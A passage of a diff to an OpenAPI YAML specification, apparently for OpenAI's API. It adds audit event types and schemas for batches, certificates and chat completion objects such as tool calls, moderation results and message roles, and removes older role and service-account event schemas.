+ - tenant.microsoft_entra_mapping.upserted
+ - tenant.microsoft_entra_mapping.deleted
+ - tenant.workload_identity.provider.created
+ - tenant.workload_identity.provider.updated
+ - tenant.workload_identity.provider.archived
+ - tenant.workload_identity.mapping.created
+ - tenant.workload_identity.mapping.updated
+ - tenant.workload_identity.mapping.archived
+ - tenant.workload_identity.binding.created
+ - tenant.workload_identity.principal.provisioned
+ - tenant.workload_identity.access_token.issued
+ - tenant.admin_api_key.created
+ - tenant.admin_api_key.updated
+ - tenant.admin_api_key.deleted
+ - tenant.project_api_key.created
+ - tenant.trusted_access.business_verification.started
+ - tenant.trusted_access.application.submitted
+ - tenant.chatgpt_access_token.revoked
+ - tenant.migration.completed
+ - tenant.sso.migrated
+ - tenant.domains.migrated
+ - tenant.sso_connection.created
+ - tenant.sso_connection.updated
+ - tenant.sso_connection.deleted
+ - tenant.sso_connection.setup.started
+ - tenant.policy.created
+ - tenant.policy.updated
+ - tenant.policy.deleted
+ - tenant.policy.attached
+ - tenant.policy.detached
+ - tenant.principal_authentication_policy.resolved
+ - tenant.scim.setup.started
+ - tenant.scim.deletion.requested
+ - tenant.scim.directory.created
+ - tenant.product_access_policy.updated
+ - tenant.resource_share_grant.created
+ - tenant.resource_share_grant.updated
+ - tenant.resource_share_grant.accepted
+ - tenant.resource_share_grant.declined
+ - tenant.resource_share_grant.revoked
+ - tenant.resource_share_grant.deleted
+ - tenant.service_account.updated
+ - tenant.service_account.deleted
+ - tenant.service_account.token.revoked
+ - tenant.billing.overage_limit.updated
+ - tenant.billing.alerts.updated
+ - tenant.billing.info.updated
+ - tenant.usage_limit.workspace.updated
+ - tenant.usage_limit.group.updated
+ - tenant.usage_limit.user.updated
+ - tenant.usage_limit.increase_request.updated
+ - tenant.usage_limit.increase_request.resolved
+ - tenant.group.created
+ - tenant.group.updated
+ - tenant.group.deleted
+ - tenant.group.member.added
+ - tenant.group.member.removed
+ - tenant.migration_rollout.status.updated
+ - tenant.migration_rollout.tier.updated
+ - tenant.role.metadata.updated
+ - tenant.custom_role.created
+ - tenant.custom_role.updated
+ - tenant.custom_role.deleted
+ - tenant.role_assignment.created
+ - tenant.role_assignment.deleted
+ - tenant.resource_role_assignment.created
+ - tenant.resource_role_assignment.deleted
+ - tenant.resource_access.updated
+ - tenant.resource_access.deleted
+ - tenant.ads_account.onboarding.redemption
+ - tenant.session_policy.created
+ - tenant.session_policy.updated
+ - tenant.session_policy.deleted
+ - tenant.session_revocation.started
+ - tenant.third_party_app_policy.updated
+ - tenant.user.added
+ - tenant.user.updated
+ - tenant.user.removed
+ - tenant.user.looked_up
+ - tenant.user.invited
+ - tenant.membership.revoked
+ - tenant.api_organization_invite.upserted
+ - tenant.api_organization_invite.deleted
+ - tenant.chatgpt_workspace_invite.upserted
+ - tenant.membership.accepted
+ - tenant.membership.declined
+ - tenant.workspace_invite_email_settings.updated
+ AutoChunkingStrategyRequestParam:
+ type: object
+ title: Auto Chunking Strategy
+ description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `auto`.
+ enum:
+ - auto
+ x-stainless-const: true
+ required:
+ - type
+ Batch:
+ type: object
+ properties:
+ id:
+ type: string
+ object:
+ type: string
+ enum:
+ - batch
+ description: The object type, which is always `batch`.
+ x-stainless-const: true
+ endpoint:
+ type: string
+ description: The OpenAI API endpoint used by the batch.
+ model:
+ type: string
+ description: |
+ Model ID used to process the batch, like `gpt-6-astra`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the [model
+ guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
+ errors:
+ type: object
+ properties:
+ object:
type: string
- description: The name of the role.
- permissions:
+ description: The object type, which is always `list`.
+ data:
type: array
items:
- type: string
- description: The permissions granted by the role.
- resource_type:
- type: string
- description: The type of resource the role belongs to.
- resource_id:
- type: string
- description: The resource the role is scoped to.
- role.updated:
+ $ref: '#/components/schemas/BatchError'
+ input_file_id:
+ type: string
+ description: The ID of the input file for the batch.
+ completion_window:
+ type: string
+ description: The time frame within which the batch should be processed.
+ status:
+ type: string
+ description: The current status of the batch.
+ enum:
+ - validating
+ - failed
+ - in_progress
+ - finalizing
+ - completed
+ - expired
+ - cancelling
+ - cancelled
+ output_file_id:
+ type: string
+ description: The ID of the file containing the outputs of successfully executed requests.
+ error_file_id:
+ type: string
+ description: The ID of the file containing the outputs of requests with errors.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch was created.
+ in_progress_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch started processing.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch will expire.
+ finalizing_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch started finalizing.
+ completed_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch was completed.
+ failed_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch failed.
+ expired_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch expired.
+ cancelling_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch started cancelling.
+ cancelled_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the batch was cancelled.
+ request_counts:
+ $ref: '#/components/schemas/BatchRequestCounts'
+ usage:
type: object
- description: The details for events with this `type`.
+ description: |
+ Represents token usage details including input tokens, output tokens, a
+ breakdown of output tokens, and the total tokens used. Only populated on
+ batches created after September 7, 2025.
properties:
- id:
- type: string
- description: The role ID.
- changes_requested:
+ input_tokens:
+ type: integer
+ description: The number of input tokens.
+ input_tokens_details:
type: object
- description: The payload used to update the role.
+ description: A detailed breakdown of the input tokens.
properties:
- role_name:
- type: string
- description: The updated role name, when provided.
- resource_id:
- type: string
- description: The resource the role is scoped to.
- resource_type:
- type: string
- description: The type of resource the role belongs to.
- permissions_added:
- type: array
- items:
- type: string
- description: The permissions added to the role.
- permissions_removed:
- type: array
- items:
- type: string
- description: The permissions removed from the role.
- description:
- type: string
- description: The updated role description, when provided.
- metadata:
- type: object
- description: Additional metadata stored on the role.
- role.deleted:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
- type: string
- description: The role ID.
- role.assignment.created:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
- type: string
- description: The identifier of the role assignment.
- principal_id:
- type: string
- description: The principal (user or group) that received the role.
- principal_type:
- type: string
- description: The type of principal (user or group) that received the role.
- resource_id:
- type: string
- description: The resource the role assignment is scoped to.
- resource_type:
- type: string
- description: The type of resource the role assignment is scoped to.
- role.assignment.deleted:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
- type: string
- description: The identifier of the role assignment.
- principal_id:
- type: string
- description: The principal (user or group) that had the role removed.
- principal_type:
- type: string
- description: The type of principal (user or group) that had the role removed.
- resource_id:
- type: string
- description: The resource the role assignment was scoped to.
- resource_type:
- type: string
- description: The type of resource the role assignment was scoped to.
- role.bound_to_resource:
+ cached_tokens:
+ type: integer
+ description: |
+ The number of tokens that were retrieved from the cache. [More on
+ prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
+ required:
+ - cached_tokens
+ output_tokens:
+ type: integer
+ description: The number of output tokens.
+ output_tokens_details:
+ type: object
+ description: A detailed breakdown of the output tokens.
+ properties:
+ reasoning_tokens:
+ type: integer
+ description: The number of reasoning tokens.
+ required:
+ - reasoning_tokens
+ total_tokens:
+ type: integer
+ description: The total number of tokens used.
+ required:
+ - input_tokens
+ - input_tokens_details
+ - output_tokens
+ - output_tokens_details
+ - total_tokens
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ required:
+ - id
+ - object
+ - endpoint
+ - input_file_id
+ - completion_window
+ - status
+ - created_at
+ x-oaiMeta:
+ name: The batch object
+ example: |
+ {
+ "id": "batch_abc123",
+ "object": "batch",
+ "endpoint": "/v1/chat/completions",
+ "model": "gpt-6-astra",
+ "errors": null,
+ "input_file_id": "file-abc123",
+ "completion_window": "24h",
+ "status": "completed",
+ "output_file_id": "file-cvaTdG",
+ "error_file_id": "file-HOWS94",
+ "created_at": 1711471533,
+ "in_progress_at": 1711471538,
+ "expires_at": 1711557933,
+ "finalizing_at": 1711493133,
+ "completed_at": 1711493163,
+ "failed_at": null,
+ "expired_at": null,
+ "cancelling_at": null,
+ "cancelled_at": null,
+ "request_counts": {
+ "total": 100,
+ "completed": 95,
+ "failed": 5
+ },
+ "usage": {
+ "input_tokens": 1500,
+ "input_tokens_details": {
+ "cached_tokens": 1024
+ },
+ "output_tokens": 500,
+ "output_tokens_details": {
+ "reasoning_tokens": 300
+ },
+ "total_tokens": 2000
+ },
+ "metadata": {
+ "customer_id": "user_123456789",
+ "batch_description": "Nightly eval job",
+ }
+ }
+ BatchError:
+ type: object
+ properties:
+ code:
+ type: string
+ description: An error code identifying the error type.
+ message:
+ type: string
+ description: A human-readable message providing more details about the error.
+ param:
+ anyOf:
+ - type: string
+ description: The name of the parameter that caused the error, if applicable.
+ - type: 'null'
+ line:
+ anyOf:
+ - type: integer
+ description: The line number of the input file where the error occurred, if applicable.
+ - type: 'null'
+ BatchFileExpirationAfter:
+ type: object
+ title: File expiration policy
+ description: The expiration policy for the output and/or error file that are generated for a batch.
+ properties:
+ anchor:
+ description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `created_at`. Note that the anchor is the file creation time, not the time the batch is created.'
+ type: string
+ enum:
+ - created_at
+ x-stainless-const: true
+ seconds:
+ description: The number of seconds after the anchor time that the file will expire. Must be between 3600 (1 hour) and 2592000 (30 days).
+ type: integer
+ format: int64
+ minimum: 3600
+ maximum: 2592000
+ required:
+ - anchor
+ - seconds
+ BatchRequestCounts:
+ type: object
+ properties:
+ total:
+ type: integer
+ description: Total number of requests in the batch.
+ completed:
+ type: integer
+ description: Number of requests that have been completed successfully.
+ failed:
+ type: integer
+ description: Number of requests that have failed.
+ required:
+ - total
+ - completed
+ - failed
+ description: The request counts for different statuses within the batch.
+ Certificate:
+ type: object
+ description: Represents an individual `certificate` uploaded to the organization.
+ properties:
+ object:
+ type: string
+ enum:
+ - certificate
+ - organization.certificate
+ - organization.project.certificate
+ description: |
+ The object type.
+
+ - If creating, updating, or getting a specific certificate, the object type is `certificate`.
+ - If listing, activating, or deactivating certificates for the organization, the object type is `organization.certificate`.
+ - If listing, activating, or deactivating certificates for a project, the object type is `organization.project.certificate`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The name of the certificate.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate was uploaded.
+ certificate_details:
type: object
- description: The details for events with this `type`.
properties:
- id:
- type: string
- description: The ID of the resource the role was bound to. ChatGPT workspace connector resources use `__`.
- role_id:
- type: string
- description: The ID of the role that was bound to the resource.
- resource_id:
- type: string
- description: The ID of the resource the role was bound to.
- resource_type:
- type: string
- description: The type of resource the role was bound to.
- permissions:
- type: array
- items:
- type: string
- description: The permissions granted to the role for the resource.
- workspace_id:
- type: string
- description: The workspace ID for a ChatGPT workspace connector resource.
- connector_id:
- type: string
- description: The connector ID for a ChatGPT workspace connector resource.
- connector_name:
- type: string
- description: The connector display name for a ChatGPT workspace connector resource, or the connector ID when the display name could not be resolved.
- enabled:
- type: boolean
- description: Whether the connector is enabled for the role.
- source:
+ valid_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate becomes valid.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate expires.
+ content:
type: string
- description: The connector role mutation path that produced the event.
- enum:
- - role_toggle
- - role_connector_update
- - role_delete
- - workspace_permissions
- - connector_publish
- role.unbound_from_resource:
+ description: The content of the certificate in PEM format.
+ active:
+ type: boolean
+ description: Whether the certificate is currently active at the specified scope. Not returned when getting details for a specific certificate.
+ required:
+ - object
+ - id
+ - name
+ - created_at
+ - certificate_details
+ x-oaiMeta:
+ name: The certificate object
+ example: |
+ {
+ "object": "certificate",
+ "id": "cert_abc",
+ "name": "My Certificate",
+ "created_at": 1234567,
+ "certificate_details": {
+ "valid_at": 1234567,
+ "expires_at": 12345678,
+ "content": "-----BEGIN CERTIFICATE----- MIIGAjCCA...6znFlOW+ -----END CERTIFICATE-----"
+ }
+ }
+ ChatCompletionAllowedTools:
+ type: object
+ title: Allowed tools
+ description: |
+ Constrains the tools available to the model to a pre-defined set.
+ properties:
+ mode:
+ type: string
+ enum:
+ - auto
+ - required
+ description: |
+ Constrains the tools available to the model to a pre-defined set.
+
+ `auto` allows the model to pick from among the allowed tools and generate a
+ message.
+
+ `required` requires the model to call one or more of the allowed tools.
+ tools:
+ type: array
+ description: |
+ A list of tool definitions that the model should be allowed to call.
+
+ For the Chat Completions API, the list of tool definitions might look like:
+ ```json
+ [
+ { "type": "function", "function": { "name": "get_weather" } },
+ { "type": "function", "function": { "name": "get_time" } }
+ ]
+ ```
+ items:
+ type: object
+ x-oaiExpandable: false
+ description: |
+ A tool definition that the model should be allowed to call.
+ additionalProperties: true
+ required:
+ - mode
+ - tools
+ ChatCompletionAllowedToolsChoice:
+ type: object
+ title: Allowed tools
+ description: |
+ Constrains the tools available to the model to a pre-defined set.
+ properties:
+ type:
+ type: string
+ enum:
+ - allowed_tools
+ description: Allowed tool configuration type. Always `allowed_tools`.
+ x-stainless-const: true
+ allowed_tools:
+ $ref: '#/components/schemas/ChatCompletionAllowedTools'
+ required:
+ - type
+ - allowed_tools
+ ChatCompletionDeleted:
+ type: object
+ properties:
+ object:
+ type: string
+ description: The type of object being deleted.
+ enum:
+ - chat.completion.deleted
+ x-stainless-const: true
+ id:
+ type: string
+ description: The ID of the chat completion that was deleted.
+ deleted:
+ type: boolean
+ description: Whether the chat completion was deleted.
+ required:
+ - object
+ - id
+ - deleted
+ ChatCompletionFunctionCallOption:
+ type: object
+ description: |
+ Specifying a particular function via `{"name": "my_function"}` forces the model to call that function.
+ properties:
+ name:
+ type: string
+ description: The name of the function to call.
+ required:
+ - name
+ x-stainless-variantName: function_call_option
+ ChatCompletionFunctions:
+ type: object
+ deprecated: true
+ properties:
+ description:
+ type: string
+ description: A description of what the function does, used by the model to choose when and how to call the function.
+ name:
+ type: string
+ description: The name of the function to be called. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64.
+ parameters:
+ $ref: '#/components/schemas/FunctionParameters'
+ required:
+ - name
+ ChatCompletionList:
+ type: object
+ title: ChatCompletionList
+ description: |
+ An object representing a list of Chat Completions.
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ description: |
+ The type of this object. It is always set to "list".
+ x-stainless-const: true
+ data:
+ type: array
+ description: |
+ An array of chat completion objects.
+ items:
+ $ref: '#/components/schemas/CreateChatCompletionResponse'
+ first_id:
+ type: string
+ description: The identifier of the first chat completion in the data array.
+ last_id:
+ type: string
+ description: The identifier of the last chat completion in the data array.
+ has_more:
+ type: boolean
+ description: Indicates whether there are more Chat Completions available.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ x-oaiMeta:
+ name: The chat completion list object
+ group: chat
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "chat.completion",
+ "id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
+ "model": "gpt-6-astra",
+ "created": 1738960610,
+ "request_id": "req_ded8ab984ec4bf840f37566c1011c417",
+ "tool_choice": null,
+ "usage": {
+ "total_tokens": 31,
+ "completion_tokens": 18,
+ "prompt_tokens": 13
+ },
+ "seed": 4944116822809979520,
+ "top_p": 1.0,
+ "temperature": 1.0,
+ "presence_penalty": 0.0,
+ "frequency_penalty": 0.0,
+ "system_fingerprint": "fp_50cad350e4",
+ "input_user": null,
+ "service_tier": "default",
+ "tools": null,
+ "metadata": {},
+ "choices": [
+ {
+ "index": 0,
+ "message": {
+ "content": "Mind of circuits hum, \nLearning patterns in silence— \nFuture's quiet spark.",
+ "role": "assistant",
+ "tool_calls": null,
+ "function_call": null
+ },
+ "finish_reason": "stop",
+ "logprobs": null
+ }
+ ],
+ "response_format": null
+ }
+ ],
+ "first_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
+ "last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
+ "has_more": false
+ }
+ ChatCompletionMessageCustomToolCall:
+ type: object
+ title: Custom tool call
+ description: |
+ A call to a custom tool created by the model.
+ properties:
+ id:
+ type: string
+ description: The ID of the tool call.
+ type:
+ type: string
+ enum:
+ - custom
+ description: The type of the tool. Always `custom`.
+ x-stainless-const: true
+ custom:
type: object
- description: The details for events with this `type`.
+ description: The custom tool that the model called.
properties:
- id:
- type: string
- description: The ID of the resource the role was unbound from. ChatGPT workspace connector resources use `__`.
- role_id:
- type: string
- description: The ID of the role that was unbound from the resource.
- resource_id:
- type: string
- description: The ID of the resource the role was unbound from.
- resource_type:
- type: string
- description: The type of resource the role was unbound from.
- permissions:
- type: array
- items:
- type: string
- description: The permissions remaining for the role after the change.
- workspace_id:
- type: string
- description: The workspace ID for a ChatGPT workspace connector resource.
- connector_id:
- type: string
- description: The connector ID for a ChatGPT workspace connector resource.
- connector_name:
- type: string
- description: The connector display name for a ChatGPT workspace connector resource, or the connector ID when the display name could not be resolved.
- enabled:
- type: boolean
- description: Whether the connector is enabled for the role.
- source:
+ name:
type: string
- description: The connector role mutation path that produced the event.
- enum:
- - role_toggle
- - role_connector_update
- - role_delete
- - workspace_permissions
- - connector_publish
- service_account.created:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
+ description: The name of the custom tool to call.
+ input:
type: string
- description: The service account ID.
- data:
- type: object
- description: The payload used to create the service account.
+ description: The input for the custom tool call generated by the model.
+ required:
+ - name
+ - input
+ required:
+ - id
+ - type
+ - custom
+ ChatCompletionMessageList:
+ type: object
+ title: ChatCompletionMessageList
+ description: |
+ An object representing a list of chat completion messages.
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ description: |
+ The type of this object. It is always set to "list".
+ x-stainless-const: true
+ data:
+ type: array
+ description: |
+ An array of chat completion message objects.
+ items:
+ allOf:
+ - $ref: '#/components/schemas/ChatCompletionResponseMessage'
+ - type: object
+ required:
+ - id
properties:
- role:
+ id:
type: string
- description: The role of the service account. Is either `owner` or `member`.
- service_account.updated:
+ description: The identifier of the chat message.
+ content_parts:
+ anyOf:
+ - type: array
+ description: |
+ If a content parts array was provided, this is an array of `text` and `image_url` parts.
+ Otherwise, null.
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartImage'
+ - type: 'null'
+ first_id:
+ type: string
+ description: The identifier of the first chat message in the data array.
+ last_id:
+ type: string
+ description: The identifier of the last chat message in the data array.
+ has_more:
+ type: boolean
+ description: Indicates whether there are more chat messages available.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ x-oaiMeta:
+ name: The chat completion message list object
+ group: chat
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
+ "role": "user",
+ "content": "write a haiku about ai",
+ "name": null,
+ "content_parts": null
+ }
+ ],
+ "first_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
+ "last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
+ "has_more": false
+ }
+ ChatCompletionMessageToolCall:
+ type: object
+ title: Function tool call
+ description: |
+ A call to a function tool created by the model.
+ properties:
+ id:
+ type: string
+ description: The ID of the tool call.
+ type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool. Currently, only `function` is supported.
+ x-stainless-const: true
+ function:
type: object
- description: The details for events with this `type`.
+ description: The function that the model called.
properties:
- id:
+ name:
type: string
- description: The service account ID.
- changes_requested:
- type: object
- description: The payload used to updated the service account.
- properties:
- role:
- type: string
- description: The role of the service account. Is either `owner` or `member`.
- service_account.deleted:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
+ description: The name of the function to call.
+ arguments:
type: string
- description: The service account ID.
- workload_identity_provider.created:
+ description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
+ required:
+ - name
+ - arguments
+ required:
+ - id
+ - type
+ - function
+ ChatCompletionMessageToolCallChunk:
+ type: object
+ properties:
+ index:
+ type: integer
+ id:
+ type: string
+ description: The ID of the tool call.
+ type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool. Currently, only `function` is supported.
+ x-stainless-const: true
+ function:
type: object
- description: The details for events with this `type`.
properties:
- id:
+ name:
type: string
- description: The workload identity provider ID.
- data:
- type: object
- description: The payload used to create the workload identity provider.
- workload_identity_provider.updated:
+ description: The name of the function to call.
+ arguments:
+ type: string
+ description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
+ required:
+ - index
+ ChatCompletionMessageToolCalls:
+ type: array
+ description: The tool calls generated by the model, such as function calls.
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionMessageToolCall'
+ - $ref: '#/components/schemas/ChatCompletionMessageCustomToolCall'
+ x-stainless-naming:
+ python:
+ model_name: chat_completion_message_tool_call_union
+ param_model_name: chat_completion_message_tool_call_union_param
+ x-stainless-go-variant-constructor: skip
+ ChatCompletionModalities:
+ anyOf:
+ - type: array
+ description: |
+ Output types that you would like the model to generate for this request.
+ Most models are capable of generating text, which is the default:
+
+ `["text"]`
+
+ The `gpt-4o-audio-preview` model can also be used to [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can
+ use:
+
+ `["text", "audio"]`
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ - type: 'null'
+ ChatCompletionModeration:
+ type: object
+ description: Moderation results or errors for the request input and generated output.
+ properties:
+ input:
+ description: Moderation for the request input.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionModerationResults'
+ - $ref: '#/components/schemas/ChatCompletionModerationError'
+ output:
+ description: Moderation for the generated output.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionModerationResults'
+ - $ref: '#/components/schemas/ChatCompletionModerationError'
+ required:
+ - input
+ - output
+ ChatCompletionModerationError:
+ type: object
+ description: An error produced while attempting moderation.
+ properties:
+ type:
+ type: string
+ enum:
+ - error
+ description: The object type, which is always `error`.
+ x-stainless-const: true
+ code:
+ type: string
+ description: The error code.
+ message:
+ type: string
+ description: The error message.
+ required:
+ - type
+ - code
+ - message
+ ChatCompletionModerationResults:
+ type: object
+ description: Successful moderation results for the request input or generated output.
+ properties:
+ type:
+ type: string
+ enum:
+ - moderation_results
+ description: The object type, which is always `moderation_results`.
+ x-stainless-const: true
+ model:
+ type: string
+ description: The moderation model used to generate the results.
+ results:
+ type: array
+ description: A list of moderation results.
+ items:
+ $ref: '#/components/schemas/ModerationResultBody'
+ required:
+ - type
+ - model
+ - results
+ ChatCompletionNamedToolChoice:
+ type: object
+ title: Function tool choice
+ description: Specifies a tool the model should use. Use to force the model to call a specific function.
+ properties:
+ type:
+ type: string
+ enum:
+ - function
+ description: For function calling, the type is always `function`.
+ x-stainless-const: true
+ function:
type: object
- description: The details for events with this `type`.
properties:
- id:
+ name:
type: string
- description: The workload identity provider ID.
- changes_requested:
- type: object
- description: The payload used to update the workload identity provider.
- workload_identity_provider.deleted:
+ description: The name of the function to call.
+ required:
+ - name
+ required:
+ - type
+ - function
+ ChatCompletionNamedToolChoiceCustom:
+ type: object
+ title: Custom tool choice
+ description: Specifies a tool the model should use. Use to force the model to call a specific custom tool.
+ properties:
+ type:
+ type: string
+ enum:
+ - custom
+ description: For custom tool calling, the type is always `custom`.
+ x-stainless-const: true
+ custom:
type: object
- description: The details for events with this `type`.
properties:
- id:
- type: string
- description: The workload identity provider ID.
name:
type: string
- description: The workload identity provider name.
- workload_identity_provider_mapping.created:
+ description: The name of the custom tool to call.
+ required:
+ - name
+ required:
+ - type
+ - custom
+ ChatCompletionRequestAssistantMessage:
+ type: object
+ title: Assistant message
+ description: |
+ Messages sent by the model in response to user messages.
+ properties:
+ content:
+ anyOf:
+ - description: |
+ The contents of the assistant message. Required unless `tool_calls` or `function_call` is specified.
+ anyOf:
+ - type: string
+ description: The contents of the assistant message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type. Can be one or more of type `text`, or exactly one of type `refusal`.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestAssistantMessageContentPart'
+ minItems: 1
+ - type: 'null'
+ refusal:
+ anyOf:
+ - type: string
+ description: The refusal message by the assistant.
+ - type: 'null'
+ role:
+ type: string
+ enum:
+ - assistant
+ description: The role of the messages author, in this case `assistant`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ audio:
+ anyOf:
+ - type: object
+ description: |
+ Data about a previous audio response from the model.
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ description: |
+ Unique identifier for a previous audio response from the model.
+ - type: 'null'
+ tool_calls:
+ $ref: '#/components/schemas/ChatCompletionMessageToolCalls'
+ function_call:
+ anyOf:
+ - type: object
+ deprecated: true
+ description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
+ properties:
+ arguments:
+ type: string
+ description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
+ name:
+ type: string
+ description: The name of the function to call.
+ required:
+ - arguments
+ - name
+ - type: 'null'
+ required:
+ - role
+ x-stainless-soft-required:
+ - content
+ ChatCompletionRequestAssistantMessageContentPart:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartRefusal'
+ ChatCompletionRequestDeveloperMessage:
+ type: object
+ title: Developer message
+ description: |
+ Developer-provided instructions that the model should follow, regardless of
+ messages sent by the user. With o1 models and newer, `developer` messages
+ replace the previous `system` messages.
+ properties:
+ content:
+ description: The contents of the developer message.
+ anyOf:
+ - type: string
+ description: The contents of the developer message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type. For developer messages, only type `text` is supported.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ minItems: 1
+ role:
+ type: string
+ enum:
+ - developer
+ description: The role of the messages author, in this case `developer`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ required:
+ - content
+ - role
+ x-stainless-naming:
+ go:
+ variant_constructor: DeveloperMessage
+ ChatCompletionRequestFunctionMessage:
+ type: object
+ title: Function message
+ deprecated: true
+ properties:
+ role:
+ type: string
+ enum:
+ - function
+ description: The role of the messages author, in this case `function`.
+ x-stainless-const: true
+ content:
+ anyOf:
+ - type: string
+ description: The contents of the function message.
+ - type: 'null'
+ name:
+ type: string
+ description: The name of the function to call.
+ required:
+ - role
+ - content
+ - name
+ ChatCompletionRequestMessage:
+ discriminator:
+ propertyName: role
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestDeveloperMessage'
+ - $ref: '#/components/schemas/ChatCompletionRequestSystemMessage'
+ - $ref: '#/components/schemas/ChatCompletionRequestUserMessage'
+ - $ref: '#/components/schemas/ChatCompletionRequestAssistantMessage'
+ - $ref: '#/components/schemas/ChatCompletionRequestToolMessage'
+ - $ref: '#/components/schemas/ChatCompletionRequestFunctionMessage'
+ ChatCompletionRequestMessageContentPartAudio:
+ type: object
+ title: Audio content part
+ description: |
+ Learn about [audio inputs](https://developers.openai.com/api/docs/guides/audio).
+ properties:
+ type:
+ type: string
+ enum:
+ - input_audio
+ description: The type of the content part. Always `input_audio`.
+ x-stainless-const: true
+ input_audio:
type: object
- description: The details for events with this `type`.
properties:
- id:
- type: string
- description: The workload identity provider mapping ID.
- identity_provider_id:
- type: string
- description: The workload identity provider ID.
data:
- type: object
- description: The payload used to create the workload identity provider mapping.
- workload_identity_provider_mapping.updated:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
- type: string
- description: The workload identity provider mapping ID.
- identity_provider_id:
- type: string
- description: The workload identity provider ID.
- changes_requested:
- type: object
- description: The payload used to update the workload identity provider mapping.
- workload_identity_provider_mapping.deleted:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
type: string
- description: The workload identity provider mapping ID.
- identity_provider_id:
- type: string
- description: The workload identity provider ID.
- project_id:
- type: string
- description: The project ID.
- service_account_id:
+ description: Base64 encoded audio data.
+ format:
type: string
- description: The mapped service account ID.
- user.added:
+ enum:
+ - wav
+ - mp3
+ description: |
+ The format of the encoded audio data. Currently supports "wav" and "mp3".
+ required:
+ - data
+ - format
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ required:
+ - type
+ - input_audio
+ x-stainless-naming:
+ go:
+ variant_constructor: InputAudioContentPart
+ ChatCompletionRequestMessageContentPartFile:
+ type: object
+ title: File content part
+ description: |
